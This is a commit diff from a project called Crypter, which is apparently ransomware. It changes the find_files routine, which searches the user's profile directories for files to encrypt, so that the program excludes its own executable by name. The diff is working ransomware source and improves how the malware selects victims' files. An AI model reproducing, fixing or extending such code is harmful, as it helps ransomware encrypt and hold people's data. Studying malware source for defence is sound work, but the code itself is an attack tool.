Corrected approach to getting Crypter binary name

CSec0ps · Jun 21, 2017 · dc0d972 · dc0d972
1 parent 355a8cd
commit dc0d972
Showing 1 changed file with 3 additions and 2 deletions.
diff --git a/Crypter/Main.py b/Crypter/Main.py
@@ -199,6 +199,7 @@ def find_files(self):
     @summary: Searches the file system and builds a list of files to encrypt
     @return: List of files matching the location and filetype criteria
     '''
+    binary_name = os.path.split(sys.argv[0])[1]
 
     base_dirs = self.get_base_dirs(os.environ['USERPROFILE'])
     file_list = []
@@ -211,7 +212,7 @@ def find_files(self):
             if (
                 (self.is_valid_filetype(file)) and
                 (file.lower() not in self.FILES_TO_EXCLUDE) and
-                (file.lower() != __file__)
+                (file.lower() != binary_name.lower())
                 ):
                     file_list.append(os.path.join(path, file))
         for file in subdirs:
@@ -220,7 +221,7 @@ def find_files(self):
             if (
                 (self.is_valid_filetype(file)) and
                 (file.lower() not in self.FILES_TO_EXCLUDE) and
-                (file.lower() != __file__)
+                (file.lower() != binary_name.lower())
                 ):
                     file_list.append(os.path.join(path, file))